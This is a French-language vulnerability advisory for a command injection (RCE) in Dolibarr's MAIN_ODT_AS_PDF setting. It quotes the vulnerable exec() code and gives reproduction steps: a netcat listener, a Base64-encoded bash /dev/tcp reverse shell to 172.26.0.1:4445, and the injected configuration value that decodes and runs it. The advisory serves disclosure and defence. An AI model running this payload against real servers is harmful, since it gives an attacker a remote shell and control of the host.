
CVE-2026-23500 - Injection de commandes système (RCE) via la configuration MAIN_ODT_AS_PDF dans Dolibarr
| Champ | Détails |
|---|
| CVE ID | CVE-2026-23500 |
| Sévérité | Critique |
| Avis de sécurité | GHSA-w5j3-8fcr-h87w |
| Découvert par | Lukasz Rybak |
Un administrateur authentifié peut exécuter des commandes système arbitraires en injectant une charge utile malveillante dans la constante de configuration MAIN_ODT_AS_PDF. Cette vulnérabilité existe parce que l'application ne valide ni n'échappe correctement le chemin de la commande avant de le transmettre à la fonction exec() lors du processus de conversion ODT en PDF.
La vulnérabilité se situe dans htdocs/includes/odtphp/odf.php.
Lorsque le système tente de convertir un document ODT en PDF (par exemple, dans les Propositions, Factures), il construit une commande shell à l'aide du paramètre global MAIN_ODT_AS_PDF.
Extrait de code (htdocs/includes/odtphp/odf.php, environ la ligne 930) :
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
Alors que le nom de fichier $name est assaini à l'aide de escapeshellcmd(), la variable de configuration MAIN_ODT_AS_PDF est récupérée directement depuis la base de données et concaténée au début de la chaîne. Un attaquant disposant de privilèges administratifs peut définir cette variable afin d'inclure un séparateur de commande (comme ;) suivi de commandes arbitraires.
Prérequis :
Étapes pour reproduire (Reverse Shell) :
172.26.0.1, Port : 4445) :nc -lvnp 4445
Préparer la charge utile. Pour éviter les problèmes liés aux caractères spéciaux (comme & ou >) qui seraient échappés par l'application web ou le shell, encoder la commande de reverse shell en Base64 :
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
Naviguer vers Accueil -> Configuration -> Autres configurations.
Ajouter ou modifier la constante MAIN_ODT_AS_PDF avec la charge utile d'injection suivante :
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
(Explication : jodconverter satisfait à la vérification initiale, ; agit comme séparateur de commandes, et le pipeline décode et exécute la charge utile Base64).
Naviguer vers Commerce -> Nouvelle proposition, créer un brouillon, sélectionner un modèle ODT (par exemple, generic_proposal_odt), puis cliquer sur Générer.



Exécution de code à distance (RCE).
Un attaquant qui obtient l'accès à un compte administrateur (ou un administrateur malveillant) peut exécuter des commandes arbitraires sur le serveur sous-jacent avec les privilèges de l'utilisateur du serveur web (généralement www-data). Cela permet de :
Signalée par Łukasz Rybak
Cette CVE a fait l'objet d'une divulgation responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.